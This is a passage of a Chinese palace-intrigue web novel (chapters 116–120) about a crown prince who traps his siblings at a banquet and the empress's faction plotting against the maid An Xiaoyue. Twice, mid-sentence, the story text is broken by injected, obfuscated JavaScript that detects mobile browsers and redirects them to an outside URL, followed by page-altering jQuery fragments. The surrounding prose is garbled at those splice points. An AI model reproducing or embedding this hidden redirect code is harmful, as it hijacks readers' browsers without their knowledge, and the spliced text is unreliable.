却仍壮着胆子轻声问道,“殿下既然知道他们各有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703596|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心思,为何还要违心设宴?” 萧衍闻言,忽然低笑一声,指尖在她下巴上轻轻摩挲了一下才松开。 他转身整理袖口,语气随意,却字字透着深意。 “不主动些,怎么瓮中捉鳖?” 安小月一怔,随即明白过来,太子这是要引蛇出洞。 只是她不清楚这几位皇子公主哪里惹到了他,竟引得这位爷如此大动干戈。 忽地,萧衍冷哼一声。 “六弟近来动作频频。”他眼底闪过一丝锐利,“与其等他暗中布局,不如给他个机会,让他自己乱了阵脚。” 他说着,忽然侧目看向安小月,唇角微扬。 “你方才不是也瞧见了?一杯酒而已,就有人沉不住气了。” 安小月心头一凛。 原来那杯酒本就是太子意料之中的试探! 她下意识攥紧衣袖,忽然觉得这看似平静的宴席之下,暗潮汹涌得令人心惊。 萧衍见她神色变化,抬手轻轻拂过她耳畔散落的发丝。 动作温柔,声音却带着不容置疑的冷意,“待会儿回到席上,无论发生什么,你只需看着便是。” 他的指尖微凉,擦过她耳际时,安小月不自觉地颤了颤,却仍乖顺点头。 “奴明白。” 一刻钟后,两人重回宴席。 众人见他归来,纷纷噤声垂首,方才的暗流涌动仿佛从未发生。 萧泽把玩着酒杯,指尖在杯沿轻轻摩挲,目光却直勾勾盯着他们这个方向。 终究是碍于储君威仪,没人不敢真撕破脸皮。 萧衍似笑非笑地扫过众人,举杯道,“方才不过小插曲,不必拘谨,苏德,传膳。” 话音落下,席间才渐渐有了声响,可还有人仍悄悄打量着太子神色。 不多时,内侍们端上精致菜肴,玉盘珍馐,色香俱全。 萧衍坐于高位,似是无意道,“今日难得聚在一处,孤特意命人备了些可口的点心。” 他目光轻扫,忽而停在萧晴柔身上,唇角微扬。 “三妹近来清减了不少,这玫瑰酥酪是小厨房新制的,孤尝着倒合口味,你且试试。” 第116章 唯独扣下他 小太监躬身将一碟莹白如玉的糕点呈至三公主案前。 酥皮薄透,隐约可见内里嫣红的玫瑰馅料,甜香扑鼻,惹得其余几位公主都露出艳羡神情。 可她们向来与这位太子皇兄不亲近,一时间竟无一人敢开口要。 萧晴柔留意到四面八方的目光,指尖微颤,面上却浮起柔婉笑意,“多谢皇兄体恤。” 她不着痕迹地瞥了一眼糕点,脑中闪过无数念头。 这酥酪色泽鲜亮,一时看不出哪里与众不同,可越是寻常,越叫人不敢轻信。 萧衍淡淡颔首,又转头看向萧泽,示意苏德为他斟了一杯酒。 “六弟方才多看了这酒壶两眼,可是喜欢?此乃西域新贡的葡萄酿,孤还未曾与人共饮。” 萧泽飞快地瞥了眼萧晴柔,笑着接过,“皇兄厚爱,臣弟受宠若惊。” 他指腹摩挲着杯沿,却迟迟未饮。 席间一时静极,连小太监扇过的风声都清晰可闻。 一边是萧晴柔捏着银匙,仔细打量面前的玫瑰酥酪,却一直不见动作。 另一边的萧泽更是有样学样,只把酒杯放至唇边,假意轻嗅。 安小月光是看着都能察觉到两人的警惕。 也不奇怪,坐了一大桌人,偏偏只赏他们两个,不起疑心才不对劲。 更何况,三公主和六皇子心里本就有鬼。 安小月想起太子方才说的,唇角勾起一个若有似无的笑。 萧衍恍若未觉,自顾自夹了一筷子菜,淡淡道,“怎么,可是不合胃口?” 二人脊背一凉。 萧晴柔忙舀了一勺酥酪,强笑道,“皇兄所赐,岂会不合胃口?” 可那勺尖刚触到唇瓣,她便故作手滑,任由银匙“不小心”跌落到地上。 “哎呀,我的新衣裳……” 萧泽飞快地瞥了她一眼,仰头,袖口却不着痕迹地贴过来,半杯酒液悄无声息地浸入袖中。 萧衍眼尾余光将一切尽收眼底,唇角笑意更深,忽然侧头看了眼安小月,意味深长地勾唇。 安小月攥紧了衣角,浑身微微颤抖。 明明是满桌佳肴,此刻竟比**更令人胆寒。 这便是皇家么! 萧晴柔叹了口气,面露懊恼。 “皇兄恕罪,臣妹不慎弄脏了衣裳,恐失礼于人前,想先下去更衣……” 她起身行礼,语气歉然。 萧衍抬眸,目光在她袖口一扫,淡淡点头,“三妹自去便是,不必拘礼。” 萧晴柔福了福身,带着贴身侍女匆匆离席,背影看着竟有几分迫不及待。 萧泽望着她的背影,指尖微微收紧,心头更是烦躁。 她倒是走得干脆,可自己却一时找不到合适的借口脱身。 正暗自焦灼,萧衍却已端起酒杯,悠悠开口,“近日听闻几位皇弟在太学颇有进益,不知六弟功课如何?” 萧泽心头一紧,只得硬着头皮答道,“回皇兄,臣弟愚钝,尚在勤勉学习。” 萧衍点了点头,似是宽慰道,“勤能补拙,六弟有心便好。” 此时,席间几位皇子纷纷举杯,齐声要敬太子皇兄。 萧衍难得没有推拒,举杯一饮而尽,这般亲和模样更是从前少有,一时间众人接二连三地要敬他。 萧泽咬了咬牙,都敬了,他若推拒,不是显得他刻意作对? 他只得也跟着将杯中酒一口咽下,硬着头皮敬了几杯酒。 这异域新酿初品时味道清冽,回味却隐隐泛苦。 萧泽还未细细品味,便感觉一阵眩晕袭来,眼前景象渐渐模糊,心中顿时警铃大作。 不对……这酒…… 他强撑着想要起身,可四肢却如灌了铅一般沉重。 视线里太子的面容愈发模糊,唯剩那抹若有似无的笑意,冰冷而刺眼。 “六弟可是醉了?”太子的声音似远似近。 萧泽想开口,可唇舌已然不听使唤,最终,他眼前一黑,彻底失去了意识。 夜色渐深,太子府的宴席终于散了。 殿内烛火摇曳,映照出杯盘狼藉的桌面。 几位皇子公主都已喝得微醺,脸颊泛红,说话时舌头都有些打结。 唯独萧泽伏在案上,一动不动,像是醉得狠了,连呼吸都轻得几乎听不见。 萧衍从容站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703597|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身,目光扫过众人,最后落在萧泽身上。 “六弟醉成这样,夜里风凉,路上怕是会着凉,不如就留在孤这里歇一晚,明日再回宫吧。” 五皇子打了个酒嗝,摆摆手道,“皇兄说得是,六弟这样子,确实不好挪动……” 七公主也扶着侍女的手站起来,脚步虚浮,含含糊糊道,“那皇妹就先告退了。” 萧衍颔首,吩咐内侍送几位皇子公主出府。 待殿内安静下来,只剩几名心腹侍卫时,他脸上的笑意渐渐淡去,眼底浮出一丝冷意。 安小月一点点挪到他身后,偷偷打量醉倒的六皇子。 “殿下,只留了六皇子,宫里会不会……” 萧衍哼笑道,“母后不是经常暗地抱怨孤不与弟妹们亲近?孤如此顾及他的身子,难道还不对?” 安小月唇瓣动了动,无声叹了口气。 但愿狗太子没有疯到要用六皇子开刀…… 而彼时的凤仪宫,皇后正倚在软榻上闭目养神,忽听外头传来急促的脚步声。 她睁开眼,见心腹嬷嬷匆匆进来。 嬷嬷脸色发白,连行礼都忘了,直接低声道,“娘娘,不好了!六殿下被留在太子府过夜了!” 皇后猛地坐直身子,指尖攥紧了帕子,声音微颤,“什么?” 嬷嬷压低声音道,“太子殿下说六殿下醉得不省人事,便留他在太子府歇息,其他几位殿下都已回宫了!” 皇后胸口剧烈起伏,脑子嗡嗡作响。 她早觉得这场宴席不对劲! 太子平日里对兄弟姐妹不冷不热,怎么突然设宴相请? 如今又独独扣下泽儿…… 她猛地站起身,厉声道,“立刻派人去太子府,就说本宫忧心六皇子,要接他回宫!” 嬷嬷面露难色,“娘娘,宫门已经落钥了,若无陛下手谕,怕是……” 皇后脸色一白,踉跄后退,扶住桌沿才稳住身形。 太子府如今戒备森严,太子若真有心做什么,她就是派人过去,只怕也晚了。 她死死咬住下唇,直到尝到一丝血腥味才松开。 她的泽儿…… 第117章 要出事 凤仪宫内烛火摇曳。 夜色渐深,皇后却仍坐立不安。 她第三次派去太子府的人依旧杳无音信,可殿外的更鼓已经敲过了三更。 “皇上驾到!” 突如其来的通传让皇后浑身一颤。 她慌忙抹了抹眼角,强撑着精神,摆出端庄的笑容迎驾。 皇帝披着件墨色常服踱步进来,身上还带着夜晚的凉气。 “这么晚了,怎么还未歇息?” 他的目光在皇后泛红的眼尾停留一瞬,“朕批完折子出来走走,见你这儿灯还亮着。” 皇后福身行礼,嗓音有些哑,“臣妾睡不着。” 皇帝在软榻上坐下,随手接过宫女奉上的茶盏。 茶香袅袅中,他状似无意地问,“可是有什么心事?” “皇上……”皇后深吸一口气,“泽儿今夜被留在太子府过夜,臣妾实在放心不下……” “哦?”皇帝吹了吹茶沫,眼皮都没抬,“兄弟俩亲近些是好事,你不是总说太子与弟妹们不够亲厚?” 皇后被噎得喉头一哽。 她急忙上前半步,“可太子突然设宴本就蹊跷,如今又独留泽儿……” “皇后!”皇帝突然搁下茶盏,瓷器相碰的脆响让殿内霎时一静,“你这是在怀疑太子谋害亲弟?” 皇后脸色煞白,却仍倔强地站着。 皇帝站起身,神色淡漠,“时候不早了,歇着吧。” 待那道身影消失在殿外,皇后猛地将案上的茶具扫落在地。 瓷器碎裂的声响惊得殿外候着的宫女们齐齐跪倒。 “好一个父子情深!”皇后气得浑身发抖,“我的泽儿要是有个三长两短……” 窗外,一道闪电突然划破夜空,紧接着闷雷滚滚袭来。 这雨来得突然。 安小月站在殿门外,听着檐下渐急的雨声,犹豫片刻,还是推开了门。 太子夜里总踢被子,若是着了凉…… 她轻手轻脚地摸黑进去,刚要点亮烛台,身后突然传来一声低沉的声音。 “谁?” 安小月心头一跳,转身便见太子半撑着身子坐在榻上。 “殿下。”她拎着灯笼的手紧了紧,低声解释,“突然下雨,奴怕您着凉……” “掌灯。” 安小月忙点燃烛台,内殿亮起昏黄的烛光。 她飞快瞥了眼,只见他眸色清明,哪有半分睡意? 萧衍盯着她湿了半边的袖口,忽然笑了,“就这么闯进来,不怕孤治你的罪?” 安小月眨了眨眼,非但没退,反而往前半步,将熄了的灯笼往桌边一搁,唇角微微翘起。 “殿下会治奴的罪么?” 她问得轻巧,尾音甚至带着点俏皮。 相处这么些日子,她自认为还算了解太子的脾气。 方才太子那声质问里,没有半分怒意,倒像是故意逗弄。 果然,萧衍低笑一声,忽然伸手拽住她手腕。 安小月猝不及防往前一倾,险些扑进他怀里,慌忙用另一只手撑住床沿。 “胆子不小。”萧衍摩挲着她腕间被雨气浸凉的肌肤,“既然担心孤会着凉,不如陪孤一起睡?” 安小月耳尖发烫,敏锐地察觉到太子身上的温度烫得反常。 “殿下。”她抬头,借着烛光看清太子泛着不正常潮红的脸,“您身上怎么这么烫?是不是……” “嘘。”萧衍忽然收紧手臂,下巴抵在她发顶,声音闷闷的,“别动。” 雨声渐密,敲打在窗檐上噼啪作响。 安小月僵着身子不敢动,却听见耳畔传来一声极低的呢喃,“孤最讨厌下雨天。” 她心头蓦地一软,鬼使神差地伸手抚上他后背。 他身上的中衣早已被冷汗浸透,肌肉却绷得死紧,仿佛在压抑某种看不见的痛苦。 “殿下可是哪里疼?” 萧衍没答话,只是抱着她的胳膊收得更紧了。 安小月也没有再问。 烛火在沉默中摇曳,将两人的影子投到床帐上,印出一道模糊的轮廓。 “殿下,该歇息了。”半晌,她柔声道。 萧衍“嗯”了一声,却仍坐在床沿,目光若有所思地望向窗外的夜色。 安小月顺着他的视线看去。 她犹豫片刻,还是轻声问道,“殿下留六皇子在府中过夜,是打算……” 萧衍闻言唇角微勾,眼底却不见笑意。 他松开手,垂眸看她,语气淡淡,“连你也觉得,孤会对他下手?” 安小月连忙低头,“奴不敢妄自揣测。” 萧衍轻笑一声,忽然转了话题,“你猜,就这么一会儿功夫,皇后娘娘派了几拨人来打探消息了?” 安小月一怔,随即明白过来。 太子根本就没打算杀六皇子,他等的,就是皇后自乱阵脚! 她抿了抿唇,试探着道,“殿下是想……逼皇后娘娘出手?” 萧衍没有回答,只是抬手抚过她的发丝,动作温柔,却让她背脊发凉。 “不好么?她倒了,你不就自由了?”他声音低哑,带着蛊惑般的意味。 “还是说,你……” 安小月立刻抬手,指尖轻轻按住他的唇,“殿下,夜深了,快歇了吧。” 她按着他的肩膀,让他躺下躺下,又细致地替他掖好被角。 萧衍嘴角扬着似有若无的弧度,“孤问你,若非要你选一个,你会选谁?” 安小月手一抖,没想到他会如此猝不及防地捅开这层窗户纸。 “殿下。”她不敢犹豫,小心翼翼道,“奴不是已经选过了么?” 她拉着他的手贴在自己肩胛处,眼睫低垂,语气温柔而坚定。 “难道殿下不曾感觉到奴的真心?” 萧衍嗤笑一声,指尖在她肩胛处缓缓摩挲,突然用力一按。 看到她吃痛咬唇,却仍不敢躲开,这才松了手。 “记住你说的话,欺骗孤的代价,你承担不起。” 说完不等她回应,萧衍已阖上眼,漫不经心地摆摆手。 “出去吧。” 安小月静静看了他一会儿,轻手轻脚地退出寝殿。 却在关门的一瞬间,听见里面传来一声几不可闻的叹息。 似无奈,又似自嘲。 她的心猛地提了起来。 这一夜看似风平浪静,安小月却睡得极不安稳。 天还未亮,她便早早起身。 不知为何,一大早她眼皮就突突直跳,心里莫名地发慌。 安小月出去看了眼,得知太子早就出门上朝去了。 晨风微凉,她拢了拢衣襟,站在廊下望着东边渐白的天色,总觉得今日要出什么事。 果然,刚过辰时,宫里便传来消息。 第118章 太子被罚 太子在早朝上被数位朝臣联名弹劾。 说他昨日带着诸位皇子公主在太子府饮酒作乐,甚至醉酒失态,有损储君威仪。 更有御史言辞激烈,直言太子德行有亏,不堪大任。 安小月指尖一颤,险些打翻手中的茶盏。 果然! 昨日太子那句“她倒了,你不就自由了”绝非随口一提。 皇后……果真出手了。 她攥紧袖口,眉心紧蹙。 可是今早天未亮,六皇子便已进宫请安,时间根本来不及他与皇后通气。 如今想来,怕是皇后自己的意思? 就是不知太子现在如何了…… 她抿了抿唇,压下心头翻涌的担忧,转身快步朝偏殿走去。 无论如何,她得先弄清楚朝堂上的风向。 安小月找到王嬷嬷时,王嬷嬷正在房里收拾衣物。 “嬷嬷可听说了早朝的事?” 王嬷嬷抖了抖手中的衣衫,头也不抬地说,“不就是那些个毒妇又在闹腾?” 语气里带着明显的不屑。 安小月留意着她的脸色,“可这次连阁老大人都……” 王嬷嬷冷笑一声,把衣裳重重甩在软榻上,“那位也就这点本事,背地里使些见不得人的手段。” 她突然住了口,警惕地看了看门口。 安小月注意到王嬷嬷的反应,试探着问,“嬷嬷为何这般不喜皇后娘娘?” 王嬷嬷的手顿了顿,眼神突然变得复杂起来。 她慢慢叠着手中的衣物,过了好一会儿才开口,“姑娘若是早生些年头……” 又突然停住,像是想起了什么,转而说道,“算了,都是些陈年旧事。” 安小月看出她话里有话,还想问,但王嬷嬷已经转身去拿另一件衣裳,显然不愿再多说。 她若有所思地盯着王嬷嬷的背影。 难道……皇后上位之事并不光彩? 又或者,皇后曾经设计害过太子,才会让王嬷嬷这个老人如此不待见她。 安小月脑中涌出无数个念头,焦灼地等待太子回府。 然而萧衍回府时,天色已暗,随之而来的还有一道圣旨。 “太子御前失仪,有违储君之德,着闭门思过三日,太子府用度减半,另每日抄录《孝经》十遍,以正言行。” 传旨太监念完,恭敬地递上圣旨。 萧衍神色不变,双手接过,“儿臣领旨。” 待太监退下,一旁的苏德忍不住低声道,“殿下,陛下这罚得也太过……” 萧衍淡淡一嗤,“无碍,不过是做给外人看的。” 他心知肚明,父皇若真要严惩,绝不会只是这般不痛不痒的惩戒。 闭门思过?正好让他避开朝堂纷扰。 削减用度?太子府本就不缺这些。 至于抄写《孝经》…… 他唇角微扬,随手将圣旨扔给苏德,自顾自坐了回去。 殿内烛火摇曳,映得他眉目冷峻。 苏德小心翼翼地奉上热茶,却见他只是沉默地接过,指尖在杯沿轻轻摩挲,半晌未饮。 “殿下,今日朝堂上的折子……” 话未说完,萧衍已抬手止住。 “不必说了。”他声音平静,却透着一丝压抑的寒意,“去查查,今日上奏的都有谁,与凤仪宫有无往来。” 苏德领命退下,殿内重归寂静。 萧衍盯着烛火,眸色深沉。 他知道,这次的事,不过是皇后借题发挥,憋了一夜,却走了这么不痛不痒的一步棋。 着实是恶心人。 不多会儿,安小月得知太子回府,端着刚熬好的莲子百合汤,轻轻推开书房的门。 她本以为会见到太子阴沉着脸,或是烦躁地摔笔踱步。 毕竟朝堂上那么多人弹劾他,换作旁人,早就怒不可遏了。 可眼前的太子却坐得笔直,神色沉静,正一笔一划地抄写着《孝经》,字迹工整得近乎刻板。 她愣了一瞬,脚步不自觉地停住,盯着他看了好一会儿。 萧衍笔下未停,却忽然开口,“你那是什么眼神?” 安小月一惊,这才发现太子不知何时已抬眸看她,唇角微微上扬,似笑非笑。 她连忙低头,抿唇笑了笑,“没什么,只是……没想到殿下这么认真。” 萧衍搁下笔,单手支着额头,好整以暇地瞧着她。 “怎么,你以为孤会气得摔东西?还是拍案大骂?” 安小月被他看得耳根微热,把汤碗往他面前一推。 “殿下多虑了,奴只是来送汤的。” 萧衍低笑一声,也不拆穿她,端起碗慢条斯理地喝了一口,才悠悠道,“这汤不错,火候刚好。” 安小月悄悄松了口气,却又听他补了一句,“不过下次偷看的时候,记得别那么明显。” 她耳尖一烫,差点咬到自己的舌头,赶紧福了福身正要退下。 “看在你有眼色的份上,孤送你件礼物。” 安小月下意识顿足,回头,却见太子早已继续低头抄经。 “回去吧,过两日你就知道了。” 安小月蹙眉,心情复杂地退了出去。 这段日子,太子是越发神神叨叨了。 可又不见有什么大动作。 一连过了几日,礼物没收到,宫中忽然传出消息。 说皇后娘娘要在御花园举办赏花诗会,邀诸位贵女入宫同乐。 帖子送到各府时,不少人都暗自揣测。 这诗会来得突然,怕是与近日太子府的风波脱不了干系。 毕竟太子被罚闭门思过,朝中议论纷纷,皇后此时设宴,多半是为了敲打某些不安分的人。 只是,是不是自愿那就不好说了。 诗会这日,天气正好。 御花园里百花怒放,贵女们三三两两聚在一处,或赏花,或吟诗,言笑晏晏间却都藏着几分谨慎。 凉亭下,安欢颜正低头摆弄着手里的芍药,心绪不宁。 忽然,一阵轻快的脚步声传来,她还未抬头,便听见三公主娇脆的笑声。 “哎呀,这不是安大小姐么?怎么一个人在这儿?” 安欢颜指尖微顿,随即福身行礼,“见过三公主。” 萧晴柔亲热地挽住她的手臂,笑容甜美,眼底却闪过一丝锐利。 “安小姐何必多礼?咱们姐妹之间,说这些就见外了。” 发现四周无人注意,萧晴柔忽然贴近她耳畔,语速又快又急,“别装傻!你惹的烂摊子全扣在我头上,还想全身而退?” 安欢颜睫毛轻颤,露出一副惶惑神色,“公主明鉴,实在是家母病重,臣女这些日子……” 第119章 报应 “闭嘴!”萧晴柔咬了咬牙,指甲几乎扯烂安欢颜的衣袖。 “今夜子时,西城槐树巷第三间院子,再敢躲,我就让你那娘亲‘病’得更重些!” 说罢甩开她的手,大摇大摆扬长而去。 安欢颜望着她的背影,不着痕迹地蹙眉,瞥了眼四周,开始盘算晚上的事情。 她心知在这个节骨眼上继续计划不是什么好事,奈何碍于三公主的威压,只能老实赴约。 夜色深沉,槐树巷的废弃宅院隐在雾里,周围处处透露出诡异。 安欢颜裹着披风,快步走入,轻轻推开斑驳的木门,霉味扑面而来。 “啪!” 一盏茶在她脚边炸开,她结结实实被吓了一跳。 萧晴柔立在昏暗的烛光里,脸色难看,“你迟了半刻钟,是等着太子的人来抓现行吗?” 安欢颜福身认错,喉头发紧,“是臣女的不是。” “少装可怜!”萧晴柔一把揪住她的衣领。 “瑞光寺陷害安小月是你的主意,死的人却是我的嬷嬷,龙舟赛上买通的混混又反被太子抓了个现行,现在他盯你盯得紧,若再不把安小月那个贱人解决……” 她忽然冷笑,“你那桩婚事,怕是真别想要了。” 安欢颜浑身一抖,眼底终于浮出真实的恨意,“公主放心,这次定让她……” 话音未落,门外忽传来“吱呀”一声响。 两人猛地回头。 门缝里隐约有人影晃过,夜风裹着浓郁的血腥味进来。 萧晴柔鬼使神差地走到门口,缓缓推开木门。 只见门口悬挂着两具血尸,青白的脸正对屋内,空洞的眼眶里竟塞着两根手指。 “啊!” 萧晴柔的尖叫划破夜空。 尖叫声还未落下,安欢颜已经瘫软在地,面色骇然。 她死死盯着那两具晃动的血尸,喉咙里挤不出一丝声音。 那两张青白浮肿的脸,一个是前些日子被她买通去毁安小月清白的混混,另一个则是那个小太监! 血滴砸在地上的声音清晰可闻。 萧晴柔踉跄后退,绣鞋踩到方才砸落的茶盏上却浑然不觉得痛。 她嘴唇颤抖,眼底的张狂早已经烟消云散,取而代之是深深的恐惧。 她们被人发现了! “走,走!” 她猛地拽起安欢颜,却见对方裙裾间漫开一片深色水渍,竟是吓得失禁了。 翌日清晨,相府突然闭门谢客,就连相爷安禄海都告假并未早朝。 “听说了吗?安大小姐昨夜突发恶疾。” 茶楼里,说书人压着嗓子比划,“说是呕血三升,连床褥都染红了!” “什么啊!分明是冲撞了脏东西,吓得当场尿了裤子!” “非也非也……” 市井间议论纷纷,不消片刻就传得人尽皆知。 与此同时,三公主的情况也不大好。 皇后黑着脸听宫婢禀报,“公主惊梦呓语,一直喊着'别过来',还揪掉了自己的头发……” 皇后猛地站起身,呵斥道,“胡闹!公主金枝玉叶,怎会无缘无故惊梦?你们是怎么伺候的?” 殿内宫女太监跪了一地,额头紧贴地面,无人敢吭声。 这时,三公主的奶嬷嬷跌跌撞撞地闯了进来,扑通一声跪下,老泪纵横。 “娘娘明鉴!老奴该死啊!昨夜公主说心里闷,非要出宫去散心,老奴拦不住,只得跟着……” 皇后眼神陡然一厉,“出宫?” 刘嬷嬷伏在地上,声音发抖,“是去了西城一处老宅,可刚进去没多久,公主就尖叫着跑出来,脸色白得跟纸似的,回来后就一直说胡话,喊什么‘别过来’……‘血’……” 皇后指尖深深掐进掌心,指节泛白。 她缓缓坐下,声音冷冽,“去,把昨夜跟着公主的人,全部关进慎刑司,听候发落,本宫倒要看看,是谁在装神弄鬼!” 她有意封口,可纵使藏得再严实,也架不住有人刻意散播。 不过半日,茶楼酒肆传播的风言风语当中就多了三公主的名字,且愈演愈烈。 不少人都说她们二人或许是做了什么坏事,这才遭了报应,甚至有人说相府嫡女命格不好……命中带克。 太子府,安小月低着头,掩唇轻笑。 “殿下这礼物,当真别致。” 她揭开食盒盖子,里面新做的芙蓉酥还冒着热气,“知道殿下不喜甜,奴特意少放了蜜,您尝尝?” 萧衍拿起一块点心,目光扫过她笑吟吟的脸,忽然开口,“如此还算解气?” 安小月瞥了他一眼,忙不迭点头。 “殿下公务繁忙还要操心奴的事情,奴感激不尽,只是会不会连累殿下?” 萧衍嘴角翘了翘,“无碍,孤说过,你是太子府的人,只要你安分听话,孤保你衣食无忧。” 安小月佯装羞涩地垂头不语。 “不过……”萧衍拉长音调,意味深长地盯着她,“你想要怎么报复老六?” 安小月眼底闪过一丝错愕,“那夜不是留六皇子在太子府住了一夜?” “蠢。”萧衍闻言,嫌弃地扔了手里点心,“让皇后担惊受怕一晚就满足了?” 他站起身,居高临下地睨着她。 “老六敢动孤的人,孤要让他生不如死!” 温热的气息喷洒在头顶,安小月却无端打了个寒颤。 她低垂着眼睫,脸色却隐隐发白。 若有一日太子知晓她的秘密,是否也会这般…… “怎么?”萧衍忽然倾身,修长的手指捏住她的下巴,迫使她抬头,似笑非笑,“脸色这么难看,被孤吓着了?” 安小月勉强扯出一抹笑,“奴只是有些头晕。” “哦?”萧衍眸光幽深,拇指在她唇畔摩挲了一下,忽地松开手,“那便回去歇着吧。” 安小月几乎是迫不及待退了出去。 待那道纤细的身影消失在殿外,萧衍脸上的笑意骤然褪尽。 他不轻不重叩了叩案几,“苏德。” “殿下有何吩咐?” “你去相府走一趟,就说……” 安禄海在廊下来回踱步,他脸色铁青,额角青筋隐隐跳动。 屋内,安欢颜的尖叫声又一次传来。 “滚开!别过来!鬼……有鬼啊!” 王氏攥着帕子,嘴唇颤抖,声音压得极低,却掩不住那股狠意,“老爷,这绝不是巧合,定是有人害颜儿!” 第120章 退婚 安禄海胸口剧烈起伏,却硬生生压住了怒喝,只从牙缝里挤出一句,“三公主也出了事,宫里现在半点风声不透,这怎么查?” 屋内又是一声凄厉的哭嚎。 王氏身子一颤,终于红了眼眶,“可颜儿若真有个好歹……” 安禄海忽然一把抓住她的手腕,力道大得惊人。 “闭嘴!这话传出去,相府就完了!” 两人正心神不宁地站在廊下,忽听一阵急促的脚步声传来。 相府管家匆匆赶来,低声道,“老爷,夫人,太子府来人了!” 两人脸色骤变,对视一眼,皆从对方眼中看到了惊惧。 太子府此时派人来,绝非好事! 王氏强压下心头慌乱,指尖死死掐进掌心,勉强挤出一丝笑,“快请进来。” 两人同去门口迎接苏德,不多时就和他撞了个正着。 苏德微微躬身拱手,“安相爷,安夫人。” 安禄海连忙上前,脸上堆起恭敬的笑,“苏总管今日来访,可是太子殿下有何吩咐?” 苏德目光淡淡扫过二人。 “听闻安大小姐身体不适,殿下特命咱家过来问候。” 王氏心头一紧,忙道,“劳殿下挂念,小女只是受了些惊吓,已请大夫看过,并无大碍。” 苏德微微颔首,却忽然话锋一转,“既无大碍,不如让咱家亲自见一见安大小姐,咱家也好回话。” 安禄海与王氏对视一眼,他背在身后的手飞快地做了个手势,就见角落的管家悄然退开。 他强笑道,“这……小女如今神志不清,恐冲撞了苏总管。” 苏德不动声色收回视线,目光微冷,语气不容置疑,“殿下的吩咐,相爷是要推辞?” 到底是跟久了太子的人,一声冷喝,气氛顿时坠入冰点。 安禄海额角渗出冷汗,连忙躬身,“不敢!苏总管请随我来。” 此时天色已暗,相府围墙高耸,青灰色的砖石和乌黑的瓦檐透出几分压抑。 安欢颜居住的园子更是死气沉沉,往日里往来穿梭的丫鬟婆子,此刻竟无一人敢在附近逗留。 连廊下的灯笼都只点了寥寥几盏,昏黄的光影里,唯有夜风呼呼作响,更添几分森然之气。 他们一路过去,无人敢言,连脚步声都似被这压抑的气氛吞噬。 直到转过一道影壁,远远地,苏德忽听得一声凄厉的尖叫。 像是女人被掐住了喉咙,又像是濒死的挣扎,尖锐得几乎要刺破耳膜。 安禄海和王氏脸色蓦地大变,顶着苏德似笑非笑的眼神,硬着头皮往里走。 不相干的人早被清走,只留下两个嬷嬷守着门。 苏德一踏入内室,浓重的药味混着某种腐朽气息便扑面而来。 窗棂被厚布死死封住,只余一盏昏黄的油灯在墙角摇晃,将床榻上扭动的人影投在墙上,如同张牙舞爪的鬼魅。 “滚开!” 安欢颜的尖叫突然炸响。 安禄海刚要上前解释,苏德已抬手制止,“殿下有令,需单独查看。” 王氏死死咬住嘴唇,看着苏德从容上前,用拂尘挑开帘子。 烛光骤然照亮安欢颜青白交加的脸。 她瞳孔涣散,嘴角还挂着可疑的涎水,却在与苏德对视的瞬间诡异地安静下来。 苏德俯身,声音压得极低,“殿下说,若你还想活命,就自己把退婚的消息传出去。” “三公主的事,你当真以为能瞒天过海?” 安欢颜突然抓起药碗砸向床柱! “滚!都滚开!” 她歇斯底里地嘶吼,却只敢在苏德转身后才爆发。 “殿下还等着回话。”苏德用帕子抹了抹鼻子,侧目扫过去,意味深长道,“安大小姐这病……倒是发作得及时。” 他来得快,走得也快。 安禄海和王氏把人送走,匆匆走进内室,却见安欢颜正蜷缩在床角啃咬手指,神色痴呆。 “颜儿,苏公公跟你说什么了?”王氏抓住女儿肩膀摇晃,却被她突然抬头后的眼神骇住。 那眼底哪有半分疯癫,压抑的全是愤怒,不过瞬间又消失不见。 安欢颜突然剧烈摇头,散乱的鬓发黏在冷汗涔涔的额前。 “我……我头好疼……”她蜷得更紧,喉咙里溢出呜咽,“娘,我好怕……” 王氏一把将女儿搂进怀里,感受到单薄脊背下剧烈的心跳。 “不怕,娘在这儿。”她含泪瞪向安禄海一眼,“老爷,颜儿被欺负成这样,你难道还要眼睁睁看着吗!这可是我们的亲骨肉啊!” 安禄海不甘心地往前半步,却见安欢颜突然睁大空洞的眼睛,对着虚空喃喃,“公主饶命……” 话音未落便软软倒了下去。 王氏厉声喊人去请大夫,就连安禄海也难得慌乱起来。 公主……难道是三公主害的颜儿! 苏德踏进玉庆宫时,细密的小雨刚才停下。 他将在相府所见细细禀明,末了低声道,“殿下,那安大小姐……瞧着不像是真疯,倒像是装疯卖傻。” 萧衍执笔的手微微一顿,墨色笔尖在奏折上洇开一点。 他忽地轻笑一声,眼底却凝着冷意,“她倒是聪明,知道计谋败露,怕孤找她麻烦,索性自己先装上了。” 苏德犹豫片刻,终是忍不住道,“奴才愚钝,只是不明白安大小姐为何不待见安姑娘?” 三番两次害人不成,如今却又遭反噬。 他斟酌着词句道,“毕竟是同父姐妹,若有个帮衬……” 话音未落,萧衍倏地抬眼。 惊得苏德脊背一凉,当即噤声垂首。 寂静中,萧衍慢条斯理地合上奏折,指尖轻叩案几。 “正因拥有的太多,才最怕旁人分食。” 殿外呼呼夜风,衬得他嗓音愈发阴冷。 “她占着嫡女尊荣,母族势力,连家族婚约都是先过她手,若安小月得了势,这般尊贵就非她一人独有了。” 